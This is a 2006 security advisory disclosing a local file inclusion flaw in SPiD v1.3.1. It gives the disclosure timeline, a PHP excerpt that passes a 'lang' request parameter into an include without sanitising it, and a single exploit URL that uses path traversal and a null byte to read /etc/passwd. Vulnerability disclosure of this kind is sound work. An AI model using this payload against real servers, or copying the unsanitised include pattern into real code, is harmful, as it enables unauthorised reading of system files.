Advisory:
NSAG-=B9201-25.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
SPiD v1.3.1


Site of manufacturer:
http://spid.adnx.net/

The status:=20
19/01/2006 - Publication is postponed.
14/02/2006 - Answer of the manufacturer is absent.
25/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/955.html

Risk:=20
Hide

Description:=20
Attacker can form the query in URL form ang get the access to the
system files.

Vulnerability code:
+++++++
if (isset($_REQUEST["lang"])) {
$file_lang =3D $lang_path . "lang_" . $_REQUEST["lang"] . ".php"
if (file_exists($file_lang)) {
include $lang_path . "lang.php";
include $file_lang;
......
skip
+++++++

Exploit:=20
http://example.com/spiddir/scan_lang..../../../../..=
/../etc/passwd%00

More information:
http://www.nsag.ru/vuln/955.html

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++


www.nsag.ru=20
=ABNemesis=BB =A9 2006=20
------------------------------------=20
Nemesis Security Audit Group =A9 2006.